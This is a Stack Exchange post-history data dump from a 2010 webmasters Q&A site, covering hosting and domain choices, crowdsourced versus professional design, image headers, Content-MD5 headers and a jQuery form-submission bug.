  <row Id="5714" PostHistoryTypeId="2" PostId="2927" RevisionGUID="4197a36d-de3a-4305-8627-e400f387f94f" CreationDate="2010-09-09T21:55:23.073" UserDisplayName="Tristan" Text="Are there any companies that provide simple APIs to get user information or targeting data on website visitors? Essentially some anonymous version of the data used by advertising companies to target ads. This could be a vector of 20 real number or something more intuitive.&#xD;&#xA;&#xD;&#xA;I'd like to customize landing pages based on visitors' information, beyond what I can get from the request headers." />
  <row Id="5715" PostHistoryTypeId="1" PostId="2927" RevisionGUID="4197a36d-de3a-4305-8627-e400f387f94f" CreationDate="2010-09-09T21:55:23.073" UserDisplayName="Tristan" Text="Companies that provide user information / targeting API?" />
  <row Id="5716" PostHistoryTypeId="3" PostId="2927" RevisionGUID="4197a36d-de3a-4305-8627-e400f387f94f" CreationDate="2010-09-09T21:55:23.073" UserDisplayName="Tristan" Text="&lt;advertising&gt;&lt;optimization&gt;" />
  <row Id="5717" PostHistoryTypeId="2" PostId="2928" RevisionGUID="7fa124ce-7199-475a-9667-68fe7c4bdd02" CreationDate="2010-09-09T23:14:07.093" UserDisplayName="Michael Brown" Text="I would also put the blog on your OWN site (&quot;content is king&quot;). Links from the blog with the keyword anchors will be the same. You can also use the the rss feeds on the blog to send to other sites for the backlinks... auto post to facebook, twitter etc.&#xD;&#xA;&#xD;&#xA;I think content is more important... just need somebody to write something often, not just a page of links. " />
  <row Id="5718" PostHistoryTypeId="2" PostId="2929" RevisionGUID="0dbd2581-3e30-453a-b740-8c0aa71c8a7c" CreationDate="2010-09-09T23:18:18.070" UserId="1857" Text="TCP already has error correction, but this only helps you on the TCP layer. An intermediary HTTP proxy or load balancer can corrupt the data on the HTTP layer, and then retransmit it. A HTTP MD5 makes it possible to detect this corruption. The reason why nobody really talks about this need is that the problem is very rare indeed; most HTTP proxies etc &quot;just work&quot;.&#xD;&#xA;&#xD;&#xA;The RFCs allude to security. IMHO this is so weak it should be ignored -- if you need any kind of real security and confidentiality, then you need HTTPS.&#xD;&#xA;&#xD;&#xA;&gt; Do certain media types include their own form of digest that makes this unnecessary?&#xD;&#xA;&#xD;&#xA;Not anything really good. But a few bit errors in photos, streaming video etc will often be imperceptible to humans.&#xD;&#xA;&#xD;&#xA;**I would say it depends on the use case:**&#xD;&#xA;&#xD;&#xA; - For REST based web services a digest adds a useful layer of additional error correction. See this [AWS failure as an example][1].&#xD;&#xA; - For applications dealing with mission-critical data (banking, medical), it's worth implementing as it gives clients the option to verify transmission integrity.&#xD;&#xA; - For any 'normal' web site serving up text and media of 'normal' value the Content-MD5 header serves no purpose.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.amazonwebservices.com/connect/thread.jspa?threadID=22709" />
  <row Id="5719" PostHistoryTypeId="5" PostId="2926" RevisionGUID="f043b390-d70a-4216-913b-14b43e05c4d9" CreationDate="2010-09-10T00:41:23.077" UserId="138" Comment="Typed slower" Text="The project I was working/coding on from last couple of months is done from a development point of view. The project is a lightweight desktop video streaming application in Adobe Air. I also put up a website to publish it:&#xD;&#xA;&#xD;&#xA;[http://awesome.fm/client][1]&#xD;&#xA;&#xD;&#xA;I am less experience in marketing or spreading products. Can you guys just give me ideas on how to proceed from here?&#xD;&#xA;&#xD;&#xA;What I want to know is, how do real startup owners spread the product they make?&#xD;&#xA;&#xD;&#xA;What soever, any opinion will be helpful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://awesome.fm/client" />
  <row Id="5720" PostHistoryTypeId="2" PostId="2930" RevisionGUID="5db1889f-6145-438c-869f-a5ebc85f5db0" CreationDate="2010-09-10T00:44:52.413" UserId="138" Text="You might want to try asking on http://startups.com/ - their website runs the same software this site does so the experience will be familiar for you, and they have guys there that know a hell of a lot about this sort of stuff." />
  <row Id="5721" PostHistoryTypeId="5" PostId="2926" RevisionGUID="2a27a459-4437-4bed-97b5-7b102eb9b725" CreationDate="2010-09-10T01:52:56.983" UserId="138" Comment="deleted 1 characters in body; edited title" Text="The project I was working/coding on from last couple of months is done from a development point of view. The project is a lightweight desktop video streaming application in Adobe Air. I also put up a website to publish it:&#xD;&#xA;&#xD;&#xA;[http://awesome.fm/client][1]&#xD;&#xA;&#xD;&#xA;I am less experience in marketing or spreading products. Can you guys just give me ideas on how to proceed from here?&#xD;&#xA;&#xD;&#xA;What I want to know is, how do real startup owners spread the product they make?&#xD;&#xA;&#xD;&#xA;Whatsoever, any opinion will be helpful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://awesome.fm/client" />
  <row Id="5722" PostHistoryTypeId="4" PostId="2926" RevisionGUID="2a27a459-4437-4bed-97b5-7b102eb9b725" CreationDate="2010-09-10T01:52:56.983" UserId="138" Comment="deleted 1 characters in body; edited title" Text="How to proceed now , development is done !" />
  <row Id="5723" PostHistoryTypeId="2" PostId="2931" RevisionGUID="8149766b-5d6c-475e-a791-f5ad8e4095c8" CreationDate="2010-09-10T01:55:19.673" UserId="1905" Text="some people suggest getting hosting and domain names separate as hosts that bundle domain names with hosting make it difficult to switch hosts. how true is that? &#xD;&#xA;&#xD;&#xA;i am considering [host gator][1]. i see a .com is $15. and at [godaddy][2], its $11.44. should i get a domain name @ go daddy and use hosting from host gator? i see bad reviews for godaddy about their hosting. hows their domain name? or where would recommend for hosting and domain name?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostgator.com/&#xD;&#xA;  [2]: http://www.godaddy.com" />
  <row Id="5724" PostHistoryTypeId="1" PostId="2931" RevisionGUID="8149766b-5d6c-475e-a791-f5ad8e4095c8" CreationDate="2010-09-10T01:55:19.673" UserId="1905" Text="Getting domain &amp; hosting together or separate" />
  <row Id="5725" PostHistoryTypeId="3" PostId="2931" RevisionGUID="8149766b-5d6c-475e-a791-f5ad8e4095c8" CreationDate="2010-09-10T01:55:19.673" UserId="1905" Text="&lt;domains&gt;&lt;web-hosting&gt;" />
  <row Id="5726" PostHistoryTypeId="2" PostId="2932" RevisionGUID="1ad29300-422c-45e1-9292-1d06922ebca9" CreationDate="2010-09-10T02:08:35.263" UserId="1914" Text="Getting them together or separate is really a personal preference. I've used many hosting companies in the past, including the two you have mentioned. Both provide good services, but with hostgator their control panel is more streamlined since they use Cpanel, while GoDaddy uses some custom stuff. I personally didn't like GoDaddy, but that's like someone saying they don't like toast or mushrooms. It's a personal preference. I really like HostGator and their technical support has done very well by me. I have contacted them numerous times throughout the day (11:00 am, 2:00 am, 3:00 pm, etc) and have always gotten a speedy response from them and they have always solved my issue. They also have SSH, which was a key thing for me when I pick out hosting. Again, this is more of a subjective question, but all-in-all, I would recommend HostGator over GoDaddy every time someone asked me." />
  <row Id="5727" PostHistoryTypeId="2" PostId="2933" RevisionGUID="ee94ff5d-196c-4a74-8f0f-c5ba40a17a58" CreationDate="2010-09-10T02:17:07.043" UserId="1914" Text="Nowadays it's all about the social networking. Twitter, facebook, google buzz, linkedin, etc. Put out some youtube videos showing off your product, post those to twitter, facebook, etc and use google-analytics to see where you're hitting and if you're hitting your market. You need to define your market as well. Are you going for techies, or tweens or everyone? It's all about figuring out who your demographic is and then making your product seem palatable to that group. &#xD;&#xA;&#xD;&#xA;I agree with farseeker though. This doesn't seem web development related, more marketing related, so you may get some better answers there." />
  <row Id="5728" PostHistoryTypeId="2" PostId="2934" RevisionGUID="5c935c2f-d1f8-42aa-8735-c1133fd688a0" CreationDate="2010-09-10T02:23:37.557" UserId="1253" Text="I use Godaddy for my domain purchases and management and Hostgator for my hosting. I chose Godaddy for my domains because their price is low, they make it easy to manage including transferring, and the only real downside is their copious up-selling. I chose Hostgator for my hosting because they're rock solid, their support is great, and the price is right. &#xD;&#xA;&#xD;&#xA;The bundling you mentioned is out there and a terrible business practice IMHO. But neither Hostgator or Godaddy do that so if you chose one of them or both services you can always transfer your domain or site away without issue." />
  <row Id="5729" PostHistoryTypeId="2" PostId="2935" RevisionGUID="615f2f83-72d1-4996-a778-c3ec56110cea" CreationDate="2010-09-10T02:25:04.173" UserId="1914" Text="Google Analytics [Website Optimizer API][1] I believe what you're looking for is the multivariate experiments.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gwo/commonTasks.html" />
  <row Id="5730" PostHistoryTypeId="2" PostId="2936" RevisionGUID="713b5f68-bc34-4198-8054-d1cc0dae9384" CreationDate="2010-09-10T03:26:40.357" UserDisplayName="nesfe" Text="I'm a web dev since a decade now, but my design skills are... well, are the designs skills of a programmer! Anyway, I've been working on a personal projet for some time now and I would like some advice on what I should do with the design of the website? Hire a pro or use 99designs (or website like that). Plus, what are the costs of the pros VS 99 designs?  &#xD;&#xA;I have no logo and no design. Anybody have any experience with this?" />
  <row Id="5731" PostHistoryTypeId="1" PostId="2936" RevisionGUID="713b5f68-bc34-4198-8054-d1cc0dae9384" CreationDate="2010-09-10T03:26:40.357" UserDisplayName="nesfe" Text="Design -&gt; Crowdsourcing or hire a pro?" />
  <row Id="5732" PostHistoryTypeId="3" PostId="2936" RevisionGUID="713b5f68-bc34-4198-8054-d1cc0dae9384" CreationDate="2010-09-10T03:26:40.357" UserDisplayName="nesfe" Text="&lt;website-design&gt;" />
  <row Id="5733" PostHistoryTypeId="2" PostId="2937" RevisionGUID="40fc6a41-ad4f-427a-9264-dc3f0a557172" CreationDate="2010-09-10T03:51:47.617" UserId="1757" Text="I use DreamHost for registration and hosting. They are hands down the best shared hosting company (in terms of customer service, industry experience, and value/features), and they're also within $1 of the best prices of any major registrars, and each time you sign up you get a year's free domain registration (e.g. I had a 2-year-old old account that I recently reactivated&amp;mdash;another free domain registration).&#xD;&#xA;&#xD;&#xA;Aside from how awesome DreamHost is, I just don't like most major domain registrars. DreamHost is a registrar in their own right, but they don't act like domain squatters or work with domain squatters/speculators. You will never click on a Google search result and see a big **&quot;Buy this domain from DreamHost for Only $16.99&quot;** or **&quot;Related Searches: Car Insurance, Pain Medication, Cheap Software...&quot;** page in place of the website that it's supposed to be.&#xD;&#xA;&#xD;&#xA;I don't need a registrar to snatch up my domain name, that I've taken the time to build the reputation of and generate traffic to, and exploit it as their personal billboard and make my site look like it's owned by spammers or typo-squatters. It's just a very scummy practice that I'd rather not support.&#xD;&#xA;&#xD;&#xA;Unless you're looking for a rare TLD that isn't offered by your web host, I would just go with the web host. They're typically more honest/less sleazy, even if they do charge an extra $0.50 a year. Plus, the convenience of being able to manage everything in one place (and the free registration thrown in at most places) more than makes up for the extra $5 you spend over 10 years." />
  <row Id="5734" PostHistoryTypeId="2" PostId="2938" RevisionGUID="568ff2b4-13f7-4489-9905-f815f4d4c75c" CreationDate="2010-09-10T04:13:52.823" UserId="662" Text="i see many sites that have their heading as an image.  what is the benefit of this? when is a best practice to use text as images as opposed to just having text in my html.  is this just for supporting non standard fonts?" />
  <row Id="5735" PostHistoryTypeId="1" PostId="2938" RevisionGUID="568ff2b4-13f7-4489-9905-f815f4d4c75c" CreationDate="2010-09-10T04:13:52.823" UserId="662" Text="When should i consider having text as an image in my website heading" />
  <row Id="5736" PostHistoryTypeId="3" PostId="2938" RevisionGUID="568ff2b4-13f7-4489-9905-f815f4d4c75c" CreationDate="2010-09-10T04:13:52.823" UserId="662" Text="&lt;website-design&gt;&lt;images&gt;" />
  <row Id="5737" PostHistoryTypeId="2" PostId="2939" RevisionGUID="d2ee992c-0aa5-48d0-9b52-dfc5e17bf1ca" CreationDate="2010-09-10T04:56:02.773" UserId="1757" Text="As a professional graphic designer I should encourage people to hire professional designers, and there are certainly* advantages to that. First off:&#xD;&#xA;&#xD;&#xA; - You are dealing with an actual person/people rather than a website that mediates all interactions between you and the designer(s). I personally dislike phone calls and prefer e-mail, but sometimes a phone call or face-to-face meeting is just the best way to communicate quickly and efficiently with a client (at least at the early stages of a project)&#xD;&#xA; - You are restricted (at least in the case of 99designs) to running specific contest-types and have less freedom to contract custom design packages. Brand identity is more than just a logo or a business card, and being able to work with a single designer to create your entire brand strategy is a huge advantage. Plus, you can build a relationship and rapport with the designer or design firm. This yield opportunities for further collaboration with a designer that is familiar with your business needs.&#xD;&#xA; - You are working with quite a different level of designer. The majority of crowd-sourcing designers are not experienced or professionally trained.&#xD;&#xA;&#xD;&#xA;*That said, there are some major caveats to the above:&#xD;&#xA;&#xD;&#xA; - Graphic design is not easy to comparison shop for for most clients.&#xD;&#xA;   - Design quality is not easily quantifiable, so it's hard to look at 2 designs and 2 rates and determine which is the better value (if you're not a designer)&#xD;&#xA;   - Most clients don't have the connections or knowledge to find a large pool of designers to compare. Instead, most just look at the 2-3 local designers in their area or go with the first designer they come across (and usually stick with them forever).&#xD;&#xA;   - Graphic design, especially web design, is an over-saturated market full of under-qualified and untalented &quot;professionals&quot; who've simply taken a class a Photoshop class at their local JC and then decided they wanted to be a designer because it's easy money.&#xD;&#xA; - As a corollary of the above, design success has more to do with connections than ability. Most clients have very low standards/expectations for all the reasons I've mentioned. So any designer that delivers a product will be received with open arms and recommended to other business owners. So going on professional reputation will almost guarantee overpaying for a mediocre design.&#xD;&#xA; - Crowd-sourcing therefore lets you cast a wider net and not be restricted by your geographical location. This may not be an issue if you live in San Francisco where there are talented designers and artists everywhere, but if you live in an average suburb or small city, you will almost certainly want to look elsewhere for design talent.&#xD;&#xA; - Because professional reputation means very little in most cases, it's almost better to crowd-source young high school or college students who don't have the ego to charge you $100/hr for a simple logo design. And crowd-sourcing by nature eliminates any personal bias based on age/gender/social skills. All you really have to go on are results.&#xD;&#xA; - If you really need the one-on-one attention of a human-being, you can always swap numbers with the designer(s) you find on a crowd-sourcing site. But chances are, you can give them the necessary feedback over the web.&#xD;&#xA; - It is almost better for the client to have minimal involvement/delayed feedback when it comes to design work. You're hiring a good designer mainly for their aesthetic eye, not just their ability to use a graphics program. Let them do their thing and pump out a set of designs for you to choose from, then through repetition you can refine the design until it's something that you can both live with. Clients who get too hands-on often prevent a good design from being created. It's like having concert attendee direct an orchestra, or making the designer work with one hand tied behind his back.&#xD;&#xA;&#xD;&#xA;So as a designer, I prefer clients not to crowd source their design work. But as a consultant, I have to acknowledge that crowd sourcing makes the most business sense and financial sense in 99% of the cases for small to medium-sized businesses." />
  <row Id="5738" PostHistoryTypeId="5" PostId="2939" RevisionGUID="d0c23c3e-00c3-4e01-a1b2-f4330300d995" CreationDate="2010-09-10T05:20:57.497" UserId="1757" Comment="expand" Text="As a professional graphic designer I should encourage people to hire professional designers, and there are certainly* advantages to that. First off:&#xD;&#xA;&#xD;&#xA; - You are dealing with an actual person/people rather than a website that mediates all interactions between you and the designer(s). I personally dislike phone calls and prefer e-mail, but sometimes a phone call or face-to-face meeting is just the best way to communicate quickly and efficiently with a client (at least at the early stages of a project)&#xD;&#xA; - You are restricted (at least in the case of 99designs) to running specific contest-types and have less freedom to contract custom design packages. Brand identity is more than just a logo or a business card, and being able to work with a single designer to create your entire brand strategy is a huge advantage. Plus, you can build a relationship and rapport with the designer or design firm. This yield opportunities for further collaboration with a designer that is familiar with your business needs.&#xD;&#xA; - You are working with quite a different level of designer. The majority of crowd-sourcing designers are not experienced or professionally trained.&#xD;&#xA;&#xD;&#xA;*That said, there are some major caveats to the above:&#xD;&#xA;&#xD;&#xA; - Graphic design is not easy to comparison shop for for most clients.&#xD;&#xA;   - Design quality is not easily quantifiable, so it's hard to look at 2 designs and 2 rates and determine which is the better value (if you're not a designer)&#xD;&#xA;   - Most clients don't have the connections or knowledge to find a large pool of designers to compare. Instead, most just look at the 2-3 local designers in their area or go with the first designer they come across (and usually stick with them forever).&#xD;&#xA;   - Graphic design, especially web design, is an over-saturated market full of under-qualified and untalented &quot;professionals&quot; who've simply taken a class a Photoshop class at their local JC and then decided they wanted to be a designer because it's easy money.&#xD;&#xA; - As a corollary of the above, design success has more to do with connections than ability. Most clients have very low standards/expectations for all the reasons I've mentioned. So any designer that delivers a product will be received with open arms and recommended to other business owners. So going on professional reputation will almost guarantee overpaying for a mediocre design.&#xD;&#xA; - Crowd-sourcing therefore lets you cast a wider net and not be restricted by your geographical location. This may not be an issue if you live in San Francisco where there are talented designers and artists everywhere, but if you live in an average suburb or small city, you will almost certainly want to look elsewhere for design talent.&#xD;&#xA; - Because professional reputation means very little in most cases, it's almost better to crowd-source young high school or college students who don't have the ego to charge you $100/hr for a simple logo design. And crowd-sourcing by nature eliminates any personal bias based on age/gender/social skills. All you really have to go on are results.&#xD;&#xA; - If you really need the one-on-one attention of a human-being, you can always swap numbers with the designer(s) you find on a crowd-sourcing site. But chances are, you can give them the necessary feedback over the web.&#xD;&#xA; - It is almost better for the client to have minimal involvement/delayed feedback when it comes to design work. You're hiring a good designer mainly for their aesthetic eye, not just their ability to use a graphics program. Let them do their thing and pump out a set of designs for you to choose from, then through repetition you can refine the design until it's something that you can both live with. Clients who get too hands-on often prevent a good design from being created. It's like having concert attendee direct an orchestra, or making the designer work with one hand tied behind his back.&#xD;&#xA;&#xD;&#xA;So as a designer, I prefer clients not to crowd source their design work. But as a consultant, I have to acknowledge that crowd sourcing makes the most business sense and financial sense in 95% of the cases for small to medium-sized businesses.&#xD;&#xA;&#xD;&#xA;*However*, if you have greater business aspirations (i.e. you want to become 37Signals or YouTube instead of just a moderately successful web company, or you want to attract enterprise level clients to your business rather than just small accounts), then you will need to think bigger. Then it might make sense to shell out a little more and hire a professional brand consultant, as branding a major component of a comprehensive marketing strategy. But this only applies to the other 5%." />
  <row Id="5739" PostHistoryTypeId="5" PostId="2939" RevisionGUID="a72ee570-4f5e-4e0e-9a93-274a1c3c7c0a" CreationDate="2010-09-10T05:42:10.293" UserId="1757" Comment="cleanup" Text="As a professional graphic designer I should encourage people to hire professional designers, and there are certainly* advantages to that. First off:&#xD;&#xA;&#xD;&#xA; - You are dealing with an actual person/people rather than a website that mediates all interactions between you and the designer(s). I personally dislike phone calls and prefer e-mail, but sometimes a phone call or face-to-face meeting is just the best way to communicate quickly and efficiently with a client (at least at the early stages of a project)&#xD;&#xA; - You are restricted (at least in the case of 99designs) to running specific contest-types and have less freedom to contract custom design packages. Brand identity is more than just a logo or a business card, and being able to work with a single designer to create your entire brand strategy is a huge advantage. Plus, you can build a relationship and rapport with the designer or design firm. This yields opportunities for further collaboration with a designer that is familiar with your business needs.&#xD;&#xA; - You are working with quite a different level of designer. The majority of crowd-sourcing designers are not experienced or professionally trained.&#xD;&#xA;&#xD;&#xA;*That said, there are some major caveats to the above:&#xD;&#xA;&#xD;&#xA; - Graphic design is not easy to comparison shop for for most clients.&#xD;&#xA;   - Design quality is not easily quantifiable, so it's hard for clients to look at 2 designs and 2 rates and determine which is the better value.&#xD;&#xA;   - Most clients don't have the connections or knowledge to find a large pool of designers to compare. Instead, most just look at the 2-3 local designers in their area or go with the first designer they come across (usually sticking with them forever).&#xD;&#xA;   - Graphic design, especially web design, is an over-saturated market full of under-qualified and untalented &quot;professionals&quot; who've simply taken a Photoshop class at their local JC and then decided they want to be a designer because it's easy money.&#xD;&#xA; - As a corollary of the above, design success has more to do with connections than ability. Most clients have very low standards/expectations (for the above reasons). So almost *any* designer will be received with open arms and recommended to other business owners. So going on professional reputation will almost guarantee overpaying for a mediocre design.&#xD;&#xA; - Crowd-sourcing therefore lets you cast a wider net and not be restricted by your geographical location. This may not be an issue if you live in San Francisco where there are artsy/creative people everywhere, but if you live in an average suburb or small city, you will almost certainly want to look elsewhere for design talent.&#xD;&#xA; - Because professional reputation means very little in most cases, it's almost better to crowd-source young high school or college students who don't have the ego to charge you $100/hr for a simple logo design. And crowd-sourcing by nature eliminates any personal bias based on age/gender/social skills/experience. All you really have to go on are results.&#xD;&#xA; - If you really need the one-on-one attention of a human-being, you can always swap numbers with the designer(s) you find on a crowd-sourcing site. But chances are, you can give them the necessary feedback over the web.&#xD;&#xA; - It is almost better for the client to have minimal involvement/delayed feedback when it comes to design work. You're hiring a good designer mainly for their aesthetic eye, not just their ability to use a graphics program. Let them do their thing and pump out a set of designs for you to choose from, then through repetition you can refine the design until it's something you're both happy with. Clients who get too hands-on often preclude a good design. It's like having a concert attendee direct an orchestra, or making the designer work with one hand tied behind his back.&#xD;&#xA;&#xD;&#xA;So *as a designer*, I prefer clients not to crowd source their design work. But *as a consultant*, I have to acknowledge that crowd sourcing makes the most business and financial sense in 95% of the cases for small to medium-sized businesses.&#xD;&#xA;&#xD;&#xA;*However*, if you have greater business aspirations (i.e. you want to become a 37Signals or YouTube instead of just a moderately successful web company, or you want to attract enterprise level clients to your business rather than just small accounts), then you will need to think bigger. Then it might make sense to shell out a little more and hire a professional brand consultant, as branding a major component of a comprehensive marketing strategy. But this only applies to the other 5%." />
  <row Id="5740" PostHistoryTypeId="2" PostId="2940" RevisionGUID="ea03cccd-5cee-436f-952d-b0f8be623baa" CreationDate="2010-09-10T06:44:08.470" UserId="745" Text="Reasons to use an image header with text:&#xD;&#xA;&#xD;&#xA; - The text isn't necessary for SEO.&#xD;&#xA; - The font can't be reproduced on the&#xD;&#xA;   web.&#xD;&#xA; - The text is integrated too closely with a&#xD;&#xA;   logo to separate the two.&#xD;&#xA;&#xD;&#xA;Reasons to use text as your header:&#xD;&#xA;&#xD;&#xA; - The text is necessary for SEO.&#xD;&#xA; - The text needs to scale according to&#xD;&#xA;   the browser window.&#xD;&#xA; - The text needs to scale according to&#xD;&#xA;   an em-based font size.&#xD;&#xA; - The text needs to be dynamic in any way.&#xD;&#xA;&#xD;&#xA;If you do use an image, consider using the &lt;img&gt; tag with an alt attribute rather than a CSS image. This is important for accessibility purposes, but it could also contribute to SEO." />
  <row Id="5741" PostHistoryTypeId="2" PostId="2941" RevisionGUID="03ae6a96-7132-49d0-ac1c-a1a7676b505b" CreationDate="2010-09-10T06:50:24.623" UserId="1905" Text="i like you is a web dev. i can design abit tho. mainly [personal tumblr themes][1] for now. &#xD;&#xA;&#xD;&#xA;@Lèse majesté has alot of valid reasons why you should hire a professional designer. &#xD;&#xA;&#xD;&#xA;another alternative is to collaborate with a (or a few) friend(s) who is a designer - i think this way, communication will be better. &#xD;&#xA;&#xD;&#xA;another option is [theme forest][2] which has some really good web templates whether html/css or wordpress themes (if you use wordpress). i find alot of designs at 99designs or crowdspring of low quality. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tumblr.com/themes/by/jiewmeng&#xD;&#xA;  [2]: http://themeforest.net/?ref=jiewmeng" />
  <row Id="5742" PostHistoryTypeId="5" PostId="2939" RevisionGUID="fb83b47b-fd39-4427-988b-71787b6c99f2" CreationDate="2010-09-10T08:25:49.573" UserId="1757" Comment="typo" Text="As a professional graphic designer I should encourage people to hire professional designers, and there are certainly* advantages to that. First off:&#xD;&#xA;&#xD;&#xA; - You are dealing with an actual person/people rather than a website that mediates all interactions between you and the designer(s). I personally dislike phone calls and prefer e-mail, but sometimes a phone call or face-to-face meeting is just the best way to communicate quickly and efficiently with a client (at least at the early stages of a project)&#xD;&#xA; - You are restricted (at least in the case of 99designs) to running specific contest-types and have less freedom to contract custom design packages. Brand identity is more than just a logo or a business card, and being able to work with a single designer to create your entire brand strategy is a huge advantage. Plus, you can build a relationship and rapport with the designer or design firm. This yields opportunities for further collaboration with a designer that is familiar with your business needs.&#xD;&#xA; - You are working with quite a different level of designer. The majority of crowd-sourcing designers are not experienced or professionally trained.&#xD;&#xA;&#xD;&#xA;*That said, there are some major caveats to the above:&#xD;&#xA;&#xD;&#xA; - Graphic design is not easy to comparison shop for for most clients.&#xD;&#xA;   - Design quality is not easily quantifiable, so it's hard for clients to look at 2 designs and 2 rates and determine which is the better value.&#xD;&#xA;   - Most clients don't have the connections or knowledge to find a large pool of designers to compare. Instead, most just look at the 2-3 local designers in their area or go with the first designer they come across (usually sticking with them forever).&#xD;&#xA;   - Graphic design, especially web design, is an over-saturated market full of under-qualified and untalented &quot;professionals&quot; who've simply taken a Photoshop class at their local JC and then decided they want to be a designer because it's easy money.&#xD;&#xA; - As a corollary of the above, design success has more to do with connections than ability. Most clients have very low standards/expectations (for the above reasons). So almost *any* designer will be received with open arms and recommended to other business owners. So going on professional reputation will almost guarantee overpaying for a mediocre design.&#xD;&#xA; - Crowd-sourcing therefore lets you cast a wider net and not be restricted by your geographical location. This may not be an issue if you live in San Francisco where there are artsy/creative people everywhere, but if you live in an average suburb or small city, you will almost certainly want to look elsewhere for design talent.&#xD;&#xA; - Because professional reputation means very little in most cases, it's almost better to crowd-source young high school or college students who don't have the ego to charge you $100/hr for a simple logo design. And crowd-sourcing by nature eliminates any personal bias based on age/gender/social skills/experience. All you really have to go on are results.&#xD;&#xA; - If you really need the one-on-one attention of a human-being, you can always swap numbers with the designer(s) you find on a crowd-sourcing site. But chances are, you can give them the necessary feedback over the web.&#xD;&#xA; - It is almost better for the client to have minimal involvement/delayed feedback when it comes to design work. You're hiring a good designer mainly for their aesthetic eye, not just their ability to use a graphics program. Let them do their thing and pump out a set of designs for you to choose from, then through repetition you can refine the design until it's something you're both happy with. Clients who get too hands-on often preclude a good design. It's like having a concert attendee direct an orchestra, or making the designer work with one hand tied behind his back.&#xD;&#xA;&#xD;&#xA;So *as a designer*, I prefer clients not to crowd source their design work. But *as a consultant*, I have to acknowledge that crowd sourcing makes the most business and financial sense in 95% of the cases for small to medium-sized businesses.&#xD;&#xA;&#xD;&#xA;*However*, if you have greater business aspirations (i.e. you want to become a 37Signals or YouTube instead of just a moderately successful web company, or you want to attract enterprise level clients to your business rather than just small accounts), then you will need to think bigger. Then it might make sense to shell out a little more and hire a professional brand consultant, as branding is a major component of a comprehensive marketing strategy. But this only applies to that rare 5%." />
  <row Id="5743" PostHistoryTypeId="2" PostId="2942" RevisionGUID="5091f83d-6bef-44b9-bd8f-8e37d74fced2" CreationDate="2010-09-10T08:58:27.993" UserId="1867" Text="I am working on what would appear to be a basic contact form. I am using the ColorBox plugin for jQuery to build a form with an image link, which then opens a ColorBox containing the reCAPTCHA form and the submit button for the form.&#xD;&#xA;&#xD;&#xA;This code works perfectly in IE7 upwards, and even works to an extent in IE6, yet in Firefox, Opera and Chrome when I click the submit button it appears to remove the entire page as if it were going through an actual link.&#xD;&#xA;&#xD;&#xA;I'm sure I'm making a really silly mistake here somewhere, so could someone have a quick look at my code and see where I'm going wrong? This problem has been bugging me for a while now and it's halting my progress with a lot of other stuff." />
  <row Id="5744" PostHistoryTypeId="1" PostId="2942" RevisionGUID="5091f83d-6bef-44b9-bd8f-8e37d74fced2" CreationDate="2010-09-10T08:58:27.993" UserId="1867" Text="Broken jQuery/CSS in Firefox - ColorBox and reCAPTCHA" />
  <row Id="5745" PostHistoryTypeId="3" PostId="2942" RevisionGUID="5091f83d-6bef-44b9-bd8f-8e37d74fced2" CreationDate="2010-09-10T08:58:27.993" UserId="1867" Text="&lt;css&gt;&lt;jquery&gt;&lt;cross-browser&gt;&lt;firefox&gt;&lt;chrome&gt;" />
  <row Id="5746" PostHistoryTypeId="5" PostId="2942" RevisionGUID="53d3114c-47f4-4b08-bbde-4cc1033fe422" CreationDate="2010-09-10T09:12:40.290" UserId="1867" Comment="Forgot URL..." Text="I am working on what would appear to be a basic contact form. I am using the ColorBox plugin for jQuery to build a form with an image link, which then opens a ColorBox containing the reCAPTCHA form and the submit button for the form.&#xD;&#xA;&#xD;&#xA;This code works perfectly in IE7 upwards, and even works to an extent in IE6, yet in Firefox, Opera and Chrome when I click the submit button it appears to remove the entire page as if it were going through an actual link.&#xD;&#xA;&#xD;&#xA;I'm sure I'm making a really silly mistake here somewhere, so could someone have a quick look at my code and see where I'm going wrong? This problem has been bugging me for a while now and it's halting my progress with a lot of other stuff.&#xD;&#xA;&#xD;&#xA;EDIT: Silly me! I just realised that I hadn't even included the URL! Here's the shortened one I've been passing around on IRC...&#xD;&#xA;&#xD;&#xA;http://is.gd/f3M2s" />
  <row Id="5747" PostHistoryTypeId="5" PostId="2942" RevisionGUID="055f4112-7f60-4d5e-b56b-8448a9cd3827" CreationDate="2010-09-10T09:22:59.720" UserId="1867" Comment="added 4 characters in body" Text="I am working on what would appear to be a basic contact form. I am using the ColorBox plugin for jQuery to build a form with an image link, which then opens a ColorBox containing the reCAPTCHA form and the submit button for the form.&#xD;&#xA;&#xD;&#xA;This code works perfectly in IE7 upwards, and even works to an extent in IE6, yet in Firefox, Opera and Chrome when I click the submit button it appears to remove the entire page as if it were going through an actual link.&#xD;&#xA;&#xD;&#xA;I'm sure I'm making a really silly mistake here somewhere, so could someone have a quick look at my code and see where I'm going wrong? This problem has been bugging me for a while now and it's halting my progress with a lot of other stuff.&#xD;&#xA;&#xD;&#xA;**EDIT:** Silly me! I just realised that I hadn't even included the URL! Here's the shortened one I've been passing around on IRC...&#xD;&#xA;&#xD;&#xA;http://is.gd/f3M2s" />
  <row Id="5748" PostHistoryTypeId="2" PostId="2943" RevisionGUID="4b41abac-bb56-4a51-b867-42e0ce7029de" CreationDate="2010-09-10T10:10:08.973" UserId="480" Text="Changing the submit button from type submit to type button will prevent the form from being submitted.&#xD;&#xA;&#xD;&#xA;http://jsfiddle.net/tfcuA/&#xD;&#xA;&#xD;&#xA;If you click a submit button you'll need to &quot;jam&quot; the default submission behaviour by returning false or using jQuery's preventDefault.&#xD;&#xA;&#xD;&#xA;Otherwise have you Captcha handling code trigger from onsubmit on the form." />
